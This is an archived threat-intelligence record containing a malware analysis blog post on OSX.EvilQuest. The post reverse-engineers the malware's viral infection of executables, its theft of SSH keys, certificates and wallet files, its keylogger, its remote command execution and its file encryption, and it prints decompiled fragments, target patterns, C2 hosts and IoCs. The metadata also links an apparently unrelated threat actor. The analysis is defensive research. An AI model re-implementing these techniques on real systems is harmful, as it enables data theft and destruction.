{
	"id": "9b859546-cb94-484e-a2d6-e5e140b771ca",
	"created_at": "2026-04-06T15:54:26.183807Z",
	"updated_at": "2026-04-10T03:30:33.420378Z",
	"deleted_at": null,
	"sha1_hash": "29e9d5269364585defaade703c188762c6064eab",
	"title": "OSX.EvilQuest Uncovered",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3109405,
	"plain_text": "OSX.EvilQuest Uncovered\r\nArchived: 2026-04-06 15:15:18 UTC\r\nOSX.EvilQuest Uncovered\r\npart ii: insidious capabilities\r\nby: Patrick Wardle / July 3, 2020\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve added the sample (‘OSX.EvilQuest’) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nIn part one of this blog post series, we detailed the infection vector, persistence, and anti-analysis logic of\r\nOSX.EvilQuest .\r\nThough initially though to be a rather mundane piece of ransomware, further analysis revealed something far more\r\npowerful and insidious. In this post, we detail the malware’s viral actions, as well as detail its full capabilities\r\n(ransomware logic included).\r\nViral Infection\r\nWikipedia defines a computer virus as:\r\n“A computer virus is a type of computer program that, when executed, replicates itself by modifying\r\nother computer programs and inserting its own code.”\r\nThe reality is most (all?) recent macOS malware specimens are not computer viruses (by the standard definition),\r\nas they don’t seek to locally replicate themselves. However OSX.EvilQuest does …making it a true macOS\r\ncomputer virus!! 😍\r\nRecall in part one we noted that:\r\n“…the malware invokes a method named extract_ei , which attempts to read … trailer data from\r\nthe end of itself. However, as a function named unpack_trailer (invoked by extract_ei ) returns 0\r\n(false) …it appears that this sample does not contain the required trailer data.”\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 1 of 17\n\nAt that time, I was not sure what this trailer data was …as the initial malware binary did not contain such data.\r\nBut, continued analysis gave use the answer.\r\nOnce the initial malware binary has persisted, it invokes a method named ei_loader_main :\r\n 1int _ei_loader_main(char* argv, int euid, char* home) {\r\n 2\r\n 3 ...\r\n 4\r\n 5 //decrypts to \"/Users\"\r\n 6 *(var_30 + 0x8) = _ei_str(\"26aC391KprmW0000013\");\r\n 7\r\n 8 //create new thread\r\n 9 // execution starts at `_ei_loader_thread`\r\n10 rax = pthread_create(\u0026var_28, 0x0, _ei_loader_thread, var_30);\r\n11\r\n12 return rax;\r\n13}\r\nThis function decrypts a string (\" /Users \"), then invokes pthread_create to spawn a new background thread\r\nwith the start routine set to the ei_loader_thread function.\r\nThis thread function simply invokes a function named get_targets , passing in a callback function named\r\nis_executable . Then, for each ’target’ invokes a function named append_ei :\r\n 1int _ei_loader_thread(int arg) {\r\n 2\r\n 3 var_10 = 0x0;\r\n 4 var_14 = 0x0;\r\n 5 count = 0x0;\r\n 6 rax = get_targets(*(arg + 0x8), \u0026var_10, \u0026var_14, is_executable);\r\n 7 if (rax == 0x0) {\r\n 8 for (i = 0x0; i \u003c var_14; i++)\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 2 of 17\n\n9 {\r\n10 if (append_ei(*var_8, *(var_10 + (sign_extend_64(var_20) \u003c\u003c 0x4))) == 0x0) {\r\n11 var_24 = count + 0x1;\r\n12 }\r\n13 else {\r\n14 var_24 = count;\r\n15 }\r\n16 count = var_24;\r\n17 }\r\n18 }\r\n19 return count;\r\n20}\r\nHere, we briefly describe these function, and their role in locally propagating the malware (virus):\r\nget_targets (address: 0x000000010000E0D0 ):\r\nGiven a root directory (i.e. /Users ) the get_targets function invokes the opendir and readdir\r\nAPIs in order to recursively generate a listing of files. However, for each file encountered, the callback\r\nfunction (i.e. is_executable ) is applied to see if the file is of interest. (Note that elsewhere in the code,\r\nthe get_targets is invoked, albeit with a different filter callback).\r\nis_executable (address: 0x0000000100004AC0 ):\r\nThe callback (filter) function is invoked with a path to a file, and check if its executable (i.e. a candidate for\r\ninfection).\r\nMore specifically, it first checks (via strstr ) if the path contains .app/ , and if it does, the function returns\r\nwith 0x0.\r\n1__text:0000000100004ACC mov rdi, [rbp+file]\r\n2__text:0000000100004AD0 lea rsi, aApp ; \".app/\"\r\n3__text:0000000100004AD7 call _strstr\r\n4__text:0000000100004ADC cmp rax, 0\r\n5__text:0000000100004AE0 jz continue\r\n6__text:0000000100004AE6 mov [rbp+var_4], 0\r\n7__text:0000000100004AED jmp leave\r\nAssuming the file is not (within) an application bundle, it examines the file’s header looking for various binary\r\nmagic numbers (i.e. MH_MAGIC_64 , etc.):\r\n1if ((((var_40 != 0xfeedface) \u0026\u0026 (var_40 != 0xcefaedfe)) \u0026\u0026\r\n2 (var_40 != 0xfeedfacf)) \u0026\u0026 (var_40 != 0xcffaedfe)) {\r\n3\r\n4 //not an executable!\r\n5}\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 3 of 17\n\nappend_ei (address: 0x0000000100004BF0 ):\r\nThis is the actual viral infection function, that takes a path to the malware’s binary image (i.e.\r\n/Library/mixednkey/toolroomd ) and a path to a target executable binary to infect.\r\nTo infect the target, the malware first opens and reads in both the contents of the source and target files. It\r\nthen writes the contents of the source file (the malware) to the start of the target file, while (re)writing the\r\noriginal target bytes to the end of the file. It then writes a trailer to the end of the file. The trailer includes\r\nan infection marker ( DEADFACE ) and the offset in the (now) infected file where the original target’s bytes\r\nare.\r\nOnce an executable file is infected, since the malware has wholly inserted itself at the start of the file, whenever\r\nthe file is subsequently executed, the malware will be executed first!\r\nOf course to ensure nothing is amiss, the contents of the original file should be run as well …and the malware\r\nindeed ensures this occurs.\r\nRecall that when the malicious code is executed, it invokes the extract_ei function on its own binary image, to\r\ncheck if the file is infected. If so, it opens itself, and reads the trailer to get the offset of where the file’s original\r\nbytes are located. It then writes these bytes out to a new file named: .\u003corginalfilename\u003e1 . This file is then set\r\nexecutable (via chmod ) and executed ( via execl ):\r\n1__text:00000001000055DA mov rdi, [rbp+newFile]\r\n2__text:00000001000055E1 movzx esi, [rbp+var_BC]\r\n3__text:00000001000055E8 call _chmod\r\n4__text:00000001000055ED xor esi, esi\r\n5__text:00000001000055EF mov rdi, [rbp+newFile]\r\n6__text:00000001000055F6 mov [rbp+var_158], eax\r\n7__text:00000001000055FC mov al, 0\r\n8__text:00000001000055FE call _execl\r\nWe can observe the execution of the “restored” file via a process monitor …which originally was a file placed on\r\nthe desktop called infectME (and thus the malware renames .infectME1 to execute):\r\n# ~/Desktop/ProcInfo\r\nstarting process monitor\r\nprocess monitor enabled...\r\n[process start]\r\npid: 1380\r\npath: /Users/user/Desktop/infectME\r\nuser: 501\r\n...\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 4 of 17\n\n[process start]\r\npid: 1380\r\npath: /Users/user/Desktop/.infectME1\r\nuser: 501\r\nUncovering and understanding the viral infection routine means two things:\r\n1. Simply removing the malware’s launch item(s) and binaries is not enough to disinfect a system. If you’re\r\ninfected, best to wipe and re-install macOS!\r\n2. One could trivially write a disinfector to restore infected files, by:\r\na. Scanning for infected files (infection marker DEADFACE )\r\nb. Parse the trailer to find the offset of the file’s original bytes\r\nc. Remove everything before this offset (i.e. the malware’s code)\r\nFile Exfiltration\r\nOne of the main capabilities of this virus, is the stealthy exfiltration of files that match certain regular expressions.\r\nIn the main function, the malware spawns off a background thread to execute a function named\r\nei_forensic_thread :\r\n1rax = pthread_create(\u0026thread, 0x0, _ei_forensic_thread, \u0026args);\r\nThe _ei_forensic_thread first connects to andrewka6.pythonanywhere.com to read a remote file ( ret.txt ),\r\nthat contained the address of the remote command and control server. Then, it invokes a function named\r\nlfsc_dirlist with a parameter of /Users . As its name suggests, the lfsc_dirlist performs a recursive\r\ndirectory listing, returning the list:\r\n$ lldb /Library/mixednkey/toolroomd\r\n...\r\n(lldb) b 0x000000010000171E\r\nBreakpoint 1: where = toolroomd`toolroomd[0x000000010000171e], address = 0x000000010000171e\r\n(lldb) c\r\n* thread #4, stop reason = breakpoint 1.1\r\n frame #0: 0x000000010000171e toolroomd\r\n-\u003e 0x10000171e: callq 0x100002dd0\r\n(lldb) ni\r\n(lldb) x/s $rax\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 5 of 17\n\n0x10080bc00: \"/Users/user\\n/Users/Shared\\n/Users/user/Music\\n/Users/user/.lldb\\n/Users/user/Pictures\\\r\nThis directory listing is then sent to the attacker’s remote command and control server, via call to the malware\r\nei_forensic_sendfile function:\r\n1__text:000000010000187A mov rdi, [rbp+mediator]\r\n2__text:000000010000187E mov rsi, [rbp+var_58]\r\n3__text:0000000100001882 mov rdx, [rbp+directoryList]\r\n4__text:0000000100001886 mov rax, [rbp+var_58]\r\n5__text:000000010000188A mov rcx, [rax+8]\r\n6__text:000000010000188E call _ei_forensic_sendfile\r\nThe malware then invokes the get_targets function (which we discussed earlier), however this time it passes in\r\nthe is_lfsc_target callback filter function:\r\n1rax = get_targets(rax, \u0026var_18, \u0026var_1C, is_lfsc_target);\r\nAs the get_targets function is enumerating the user’s files, the is_lfsc_target function is called to\r\ndetermine if files are of interest. Specifically the is_lfsc_target function invokes two helper functions,\r\nlfsc_parse_template and is_lfsc_target to classify files. In a debugger, we can ascertain the address of the\r\nmatch constraints ( 0x0000000100010A95 ), and then match that in the dump of the strings we decrypted (in part\r\none of this blog post series):\r\n(0x10eb67a95): *id_rsa*/i\r\n(0x10eb67ab5): *.pem/i\r\n(0x10eb67ad5): *.ppk/i\r\n(0x10eb67af5): known_hosts/i\r\n(0x10eb67b15): *.ca-bundle/i\r\n(0x10eb67b35): *.crt/i\r\n(0x10eb67b55): *.p7!/i\r\n(0x10eb67b75): *.!er/i\r\n(0x10eb67b95): *.pfx/i\r\n(0x10eb67bb5): *.p12/i\r\n(0x10eb67bd5): *key*.pdf/i\r\n(0x10eb67bf5): *wallet*.pdf/i\r\n(0x10eb67c15): *key*.png/i\r\n(0x10eb67c35): *wallet*.png/i\r\n(0x10eb67c55): *key*.jpg/i\r\n(0x10eb67c75): *wallet*.jpg/i\r\n(0x10eb67c95): *key*.jpeg/i\r\n(0x10eb67cb5): *wallet*.jpeg/i\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 6 of 17\n\nAh, so the malware has a propensity for sensitive files, such as certificates, crytocurrency wallets and keys!\r\nOnce the get_targets function returns (with a list of files that match these regexes) the malware reads each\r\nfile’s contents, (if they are under 0x1c00 bytes in length) via call to lfsc_get_contents , and then exfiltrates\r\nsaid contents to the attacker’s remote command and control server (via ei_forensic_sendfile ):\r\n 1rax = _get_targets(rax, \u0026var_18, \u0026var_1C, _is_lfsc_target);\r\n 2if (rax == 0x0) {\r\n 3 for (var_8C = 0x0; var_8C \u003c 0x0; var_8C = var_8C + 0x1) {\r\n 4 if (fileSize \u003c= 0x1c00) {\r\n 5 ...\r\n 6 rax = lfsc_get_contents(filePath, \u0026fileContents, \u0026fileSize);\r\n 7 if (rax == 0x0) {\r\n 8 if (ei_forensic_sendfile(fileContents, fileSize ...) != 0x0) {\r\n 9 sleep();\r\n10 }\r\n11 }\r\n12 }\r\n13 }\r\n14}\r\nWe can confirm this in a debugger, but creating a file on desktop named, key.png and setting a breakpoint on the\r\ncall to lfsc_get_contents (at 0x0000000100001965 ). Once hit, we print out the contents of the first argument\r\n( rdi ) and see indeed, the malware is attempting to read (and then exfiltrate) the key.png file:\r\n$ lldb /Library/mixednkey/toolroomd\r\n...\r\n(lldb) b 0x0000000100001965\r\nBreakpoint 1: where = toolroomd`toolroomd[0x0000000100001965], address = 0x0000000100001965\r\n(lldb) c\r\n* thread #4, stop reason = breakpoint 1.1\r\n-\u003e 0x10000171e: callq lfsc_get_contents\r\n(lldb) x/s $rdi\r\n0x1001a99b0: \"/Users/user/Desktop/key.png\"\r\nIf infected, assume all your certs/wallets/keys are belong to attackers!\r\nPersistence Monitoring\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 7 of 17\n\nInterestingly, the malware also appears to implement basic “self-defense”, and appears to re-persist itself if it’s on-disk image is tampered with (deleted?).\r\nIn the main method, the malware spawns (another) background thread to execute a function named\r\nei_pers_thread . This thread contains logic to (re)persist and (re)start the malware with calls to the functions\r\nsuch as persist_executable , install_daemon , and run_daemon . Interestingly enough, before these calls it\r\ninvokes a function named set_important_files which opens a kernel queue (via kqueue ) and instructs it to\r\nwatch a file …specifically the malware’s persistent binary: ~/Library/AppQuest/com.apple.questd .\r\nAnother function, extended_check_modification , invokes the kevent API to detect modifications of the\r\nwatched file.\r\nVia a file monitor, it appears that this mechanism can ensure that the malware is re-persisted if its on-disk binary\r\nimage is deleted (as shown below):\r\n# rm ~/Library/AppQuest/com.apple.questd\r\n# ls ~/Library/AppQuest/com.apple.questd\r\nls: /Users/user/Library/AppQuest/com.apple.questd: No such file or directory\r\n# fs_usage -w -f filesystem | grep com.apple.questd\r\n...\r\nWrData[A] D=0x0069bff8 B=0x16000 /dev/disk1s1 /Users/user/Library/AppQuest/com.apple.questd\r\n$ ls ~/Library/AppQuest/com.apple.questd\r\n/Users/user/Library/AppQuest/com.apple.questd\r\nRemote Tasking\r\nThe malware also supports a small set of (powerful) commands, that afford a remote attacker complete and\r\ncontinuing access over an infected system.\r\nFrom the main function, the malware invokes a function named eiht_get_update . This function attempts to\r\nread a remote file ( ret.txt ) from andrewka6.pythonanywhere.com that contained the address of the remote\r\ncommand and control server. If that failed, the malware would default to using the hard-coded (albeit encrypted)\r\nIP address 167.71.237.219 . In order to gather information about the infected host, it invokes a function named:\r\nei_get_host_info …which in turn invokes various macOS APIs such as getlogin and gethostname .\r\n(lldb) x/s 0x0000000100121cf0\r\n0x100121cf0: \"user[(null)]\"\r\n(lldb) x/s 0x00000001001204b0\r\n0x1001204b0: \"Darwin 18.6. (x86_64) US-ASCII yes-no\"\r\nThis basic survey data is serialized (and encrypted?) before being sent to the attacker’s command and control\r\nserver (via the http_request function) encoded in the URL.\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 8 of 17\n\nThe response is deserialized (via a call to a function named eicc_deserialize_request ), and then validated (via\r\neiht_check_command ). Interestedly it appears that some information (a checksum?) of the command may be\r\nlogged to a file .shcsh , by means of a call to the eiht_append_command function:\r\n 1int eiht_append_command(int arg0, int arg1) {\r\n 2\r\n 3 var_1C = _ei_tpyrc_checksum(arg0, arg1);\r\n 4\r\n 5 ...\r\n 6 var_28 = fopen(\".shcsh\", \"ab\");\r\n 7\r\n 8 ...\r\n 9\r\n10 fseek(var_28, 0x0, 0x2);\r\n11 rax = fwrite(\u0026var_1C, 0x1, 0x4, var_28);\r\n12 var_30 = rax;\r\n13 rax = fclose(var_28);\r\n14}\r\nAny tasking received from the command and control server is handled via the _dispatch function (at address:\r\n0x000000010000A7E0 ), which is passed the result of the call to the eicc_deserialize_request function.\r\nInterestingly the malware appears to first checks to make sure the received command is for the actual host - via a\r\ncall to a function named check_if_targeted . This function extracts values received from the server checking\r\nthat:\r\n0. deserializedRequest+0x10 matches 0x200 …if not, return ok.\r\n1. deserializedRequest+0x10 matches 0BADA55FCh …if not, return error ( 0x0FFFFFFFE )\r\n2. deserializedRequest+0x14 matches the first byte of the infected system’s mac address, (or that the first\r\nbyte of the infected system’s mac address is zero) …if not, return error ( 0xFFFFFFFDh )\r\nIf the check_if_targeted function returns a non-zero value, and command from server is not processed.\r\nThe last of these “prerequisites” is rather interesting:\r\n 1//get_host_identifier return first byte of mac address (extended into 64bit register)\r\n 2__text:000000010000A6A8 call _get_host_identifier\r\n 3__text:000000010000A6AD mov [rbp+hostID], rax\r\n 4__text:000000010000A6B1 mov rax, [rbp+hostID]\r\n 5__text:000000010000A6B5 cmp rax, [rbp+copy2]\r\n 6__text:000000010000A6B9 jz continue\r\n 7__text:000000010000A6BF cmp [rbp+hostID], 0\r\n 8__text:000000010000A6C4 jz continue\r\n 9__text:000000010000A6CA mov [rbp+returnVar], 0FFFFFFFDh\r\n10__text:000000010000A6D1 jmp leave\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 9 of 17\n\nThis seems to imply that either:\r\n1. The attacker knows the first byte of the infected system’s mac address (and thus can insert it in the packet\r\nfrom the server so the “prerequisite” can be fulfilled), or\r\n2. The attacker only wants commands to be processed on infected systems where the first byte is of the mac\r\naddress is 0x0 (it is on my VM, but not my base system).\r\nThough further analysis is needed, it appears that only code that retrieves the infected system mac address, is via\r\nthe _get_host_identifier function (which calls a function named ei_get_macaddr ). This code is only invoked\r\nin the check_if_targeted function. That is to say, nowhere else is the mac address retrieved (for example we\r\ndon’t see it as part of the survey data that is then sent to the server on initial check in).\r\nAssuming the server’s response contains a 0x200 (at offset 0x10 ) or the first byte of the mac address is 0x0 or\r\nmatches the value in the packet from the server, tasking commences.\r\nThe malware supports the following tasking:\r\nTask 0x1 : react_exec\r\nThe react_exec command appears to execute a payload received from the server. Interestingly it attempts\r\nto first execute the payload directly from memory! Specifically it invokes a function named\r\nei_run_memory_hrd which invokes the Apple NSCreateObjectFileImageFromMemory , NSLinkModule ,\r\nNSLookupSymbolInModule , and NSAddressOfSymbol APIs to load and link the in-memory payload.\r\nAt a previous BlackHat talk (“Writing Bad @$$ Malware for OS X”), I discussed this technique (an noted\r\nApple used to host sample code to implement such in-memory execution):\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 10 of 17\n\nIf the in-memory execution fails, the malware writes out the payload to a file named .xookc , sets it to be\r\nexecutable (via chmod ), then executes via a call to system .\r\nTask 0x2 : react_save\r\nThe react_save decodes data received from the server and saves it to a file. It appears the file name is\r\nspecified by the server as well. In some cases the file will be set to executable via a call to chmod .\r\nTask 0x4 : react_start\r\nThis method is a nop, and does nothing:\r\n1int react_start(int arg0) {\r\n2 return 0x0;\r\n3}\r\nTask 0x8 : react_keys\r\nThe react_keys command starts a keylogger. Specifically it instructs the malware to spawn a background\r\nthread to execute a function named eilf_rglk_watch_routine . This function creates an event tap (via the\r\nCGEventTapCreate API), add it to the current runloop, then invokes the CGEventTapEnable to activate\r\nthe event tap.\r\nOnce the tap is activated, keypresses (e.g. by the user) will be delivered to the process_event function,\r\nwhich then converts the the raw keypresses “readable” key codes (via the kconvert function). Somewhat\r\ninterestingly, the malware then passes the converted key code to the printf function …to print them out?\r\n(You’d have thunk it would write them to a file …). Perhaps this part of code is not quite done (yet)!\r\nTask 0x10 : react_ping\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 11 of 17\n\nThe react_ping command simply compares a value from the server with the (now decrypted) string \"Hi\r\nthere\" . A match causes this command to return “success”, which likely just causes the malware to\r\nrespond to the server for (more) tasking.\r\nTask 0x20 : react_host\r\nThis method is a nop, and does nothing:\r\n1int react_host(int arg0) {\r\n2 return 0x0;\r\n3}\r\nTask 0x40 : react_scmd\r\nThe react_scmd command will execute a command from the server via the popen API:\r\n1__text:0000000100009EDD mov rdi, [rbp+var_18] ; char *\r\n2__text:0000000100009EE1 lea rsi, aR ; \"r\"\r\n3__text:0000000100009EE8 mov [rbp+var_70], rax\r\n4__text:0000000100009EEC call _popen\r\nThe response (output) of the command is read, and transmitted about to the server via the\r\neicc_serialize_request and http_request functions.\r\nFile Ransom\r\nThe most readily observable side-affect of an OSX.EvilQuest infection is its file encryption (ransomware)\r\nactivities.\r\nAfter the malware has invoked a method named _s_is_high_time and waited on several timers to expire, it\r\nbegins encrypting the (unfortunate) user’s files, by invoking a function named carve_target . The\r\ncarve_target first begins the key generation process via a call to the random API, and functions named\r\neip_seeds and eip_key . It then generates a list of files to encrypt, by invoking the get_targets function,\r\npassing in the is_file_target as a filter function. This filter function filters out all files, except those that match\r\ncertain file extensions. The encrypted list of extensions is hard-coded at address 000000010001299E within the\r\nmalware. In part one of this blog post series, we decrypted all the embedded string, thus can readily examine the\r\ndecrypted list:\r\n(0x10eb6999e): .tar\r\n(0x10eb699b2): .rar\r\n(0x10eb699c6): .tgz\r\n(0x10eb699da): .zip\r\n(0x10eb699ee): .7z\r\n(0x10eb69a02): .dmg\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 12 of 17\n\n(0x10eb69a16): .gz\r\n(0x10eb69a2a): .jpg\r\n(0x10eb69a3e): .jpeg\r\n(0x10eb69a52): .png\r\n(0x10eb69a66): .gif\r\n(0x10eb69a7a): .psd\r\n(0x10eb69a8e): .eps\r\n(0x10eb69aa2): .mp4\r\n(0x10eb69ab6): .mp3\r\n(0x10eb69aca): .mov\r\n(0x10eb69ade): .avi\r\n(0x10eb69af2): .mkv\r\n(0x10eb69b06): .wav\r\n(0x10eb69b1a): .aif\r\n(0x10eb69b2e): .aiff\r\n(0x10eb69b42): .ogg\r\n(0x10eb69b56): .flac\r\n(0x10eb69b6a): .doc\r\n(0x10eb69b7e): .txt\r\n(0x10eb69b92): .docx\r\n(0x10eb69ba6): .xls\r\n(0x10eb69bba): .xlsx\r\n(0x10eb69bce): .pages\r\n(0x10eb69be2): .pdf\r\n(0x10eb69bf6): .rtf\r\n(0x10eb69c0a): .m4a\r\n(0x10eb69c1e): .csv\r\n(0x10eb69c32): .djvu\r\n(0x10eb69c46): .epub\r\n(0x10eb69c5a): .pub\r\n(0x10eb69c6e): .key\r\n(0x10eb69c82): .dwg\r\n(0x10eb69c96): .c\r\n(0x10eb69caa): .cpp\r\n(0x10eb69cbe): .h\r\n(0x10eb69cd2): .m\r\n(0x10eb69ce6): .php\r\n(0x10eb69cfa): .cgi\r\n(0x10eb69d0e): .css\r\n(0x10eb69d22): .scss\r\n(0x10eb69d36): .sass\r\n(0x10eb69d4a): .otf\r\n(0x10eb69d5e): .ttf\r\n(0x10eb69d72): .asc\r\n(0x10eb69d86): .cs\r\n(0x10eb69d9a): .vb\r\n(0x10eb69dae): .asp\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 13 of 17\n\n(0x10eb69dc2): .ppk\r\n(0x10eb69dd6): .crt\r\n(0x10eb69dea): .p7\r\n(0x10eb69dfe): .pfx\r\n(0x10eb69e12): .p12\r\n(0x10eb69e26): .dat\r\n(0x10eb69e3a): .hpp\r\n(0x10eb69e4e): .ovpn\r\n(0x10eb69e62): .download\r\n(0x10eb69e82): .pem\r\n(0x10eb69e96): .numbers\r\n(0x10eb69eb6): .keynote\r\n(0x10eb69ed6): .ppt\r\n(0x10eb69eea): .aspx\r\n(0x10eb69efe): .html\r\n(0x10eb69f12): .xml\r\n(0x10eb69f26): .json\r\n(0x10eb69f3a): .js\r\n(0x10eb69f4e): .sqlite\r\n(0x10eb69f6e): .pptx\r\n(0x10eb69f82): .pkg\r\nArmed with a list of target files (that match the above extensions), the malware completes the key generation\r\nprocess (via a call to random_key , which in turn calls srandom and random ), before calling a function named\r\ncarve_target on each file.\r\nThe carve_target function is invoked with the path of the file to encrypt, the result of the call to random_key ,\r\nas well as values from returned by the calls to eip_seeds and eip_key . It takes the following actions:\r\n1. Makes sure the file is accessible via a call to stat\r\n2. Creates a temporary file name, via a call to a function named make_temp_name\r\n3. Opens the target file for reading\r\n4. Checks if the target file is already encrypted via a call to a function named is_carved (which checks for\r\nthe presence of BEBABEDD at the end of the file).\r\n5. Open the temporary file for writing\r\n6. Read(s) 0x4000 byte chunks from the target file\r\n7. Invokes a function named tpcrypt to encrypt the (0x4000) bytes\r\n8. Write out the encrypted bytes to the temporary file\r\n9. Repeats steps 6-8 until all bytes have been read and encrypted from the target file\r\n10. Invokes a function named eip_encrypt to encrypt (certain?) keying information which is then appended\r\nto the temporary file\r\n11. Writes 0DDBEBABE to end of the temporary file (as noted by Dinesh Devadoss)\r\n12. Deletes the target file\r\n13. Renames the temporary file to the target file\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 14 of 17\n\nOnce all the files in the list of target files have been encrypted, the malware writes out the following to a file\r\nnamed READ_ME_NOW.txt :\r\nTo make sure the user reads this file, it displays the following modal prompt, and reads it aloud via macOS built-in\r\n‘say’ command:\r\nLuckily RansomWhere? detects this file ransoming 😇\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 15 of 17\n\nHrmmm, but what about file decryption? Well as noted (by your truly) on twitter, though the malware contains a\r\nfunction named uncarve_target which appears to be able to decrypt (“unransom”) a file, give a path to the file\r\nand the decryption key, there are no cross-references to this function!\r\nMoreover, it does not appear that the dynamically generated encryption key is ever sent to the server (attacker).\r\nThis implies that even if you do pay, there is no way to decrypt the ransomed files? (unless there is enough keying\r\nmaterial stored in the file, and a separate decryptor utility is created …but this seems unlikely). 🤔\r\nConclusion\r\nThis wraps up our analysis of OSX.EvilQuest ! In part one of this blog post series, we detailed the infection\r\nvector, persistence, and anti-analysis logic of this new malware.\r\nToday, we dove deeper, detailing the malware’s viral infection capabilities, file exfiltration logic, persistence\r\nmonitoring, remote tasking capabilities, and its ransomware logic.\r\nEnd result? A rather comprehensive understanding of this rather insidious threat!\r\nBut good news, our (free!) tools such as BlockBlock and RansomWhere? were able to detect and thwart various\r\naspects of the attack …with no priori knowledge!\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 16 of 17\n\nIoCs:\r\n/Library/mixednkey/toolroomd\r\n/Library/AppQuest/com.apple.questd\r\n~/Library/AppQuest/com.apple.questd\r\n/Library/LaunchDaemons/com.apple.questd.plist\r\n~/Library/LaunchAgents/com.apple.questd.plist\r\nNote though if you are infected, due to the malware’s viral infection capabilities, it is recommended that one wipes\r\nthe infected system and fully reinstalls macOS.\r\n❤️ Love these blog posts and/or want to support my research and tools?\r\nYou can support them via my Patreon page!\r\n[\r\n](https://www.patreon.com/bePatron?c=701171)\r\nSource: https://objective-see.com/blog/blog_0x60.html\r\nhttps://objective-see.com/blog/blog_0x60.html\r\nPage 17 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x60.html"
	],
	"report_names": [
		"blog_0x60.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775490866,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/29e9d5269364585defaade703c188762c6064eab.pdf",
		"text": "https://archive.orkl.eu/29e9d5269364585defaade703c188762c6064eab.txt",
		"img": "https://archive.orkl.eu/29e9d5269364585defaade703c188762c6064eab.jpg"
	}
}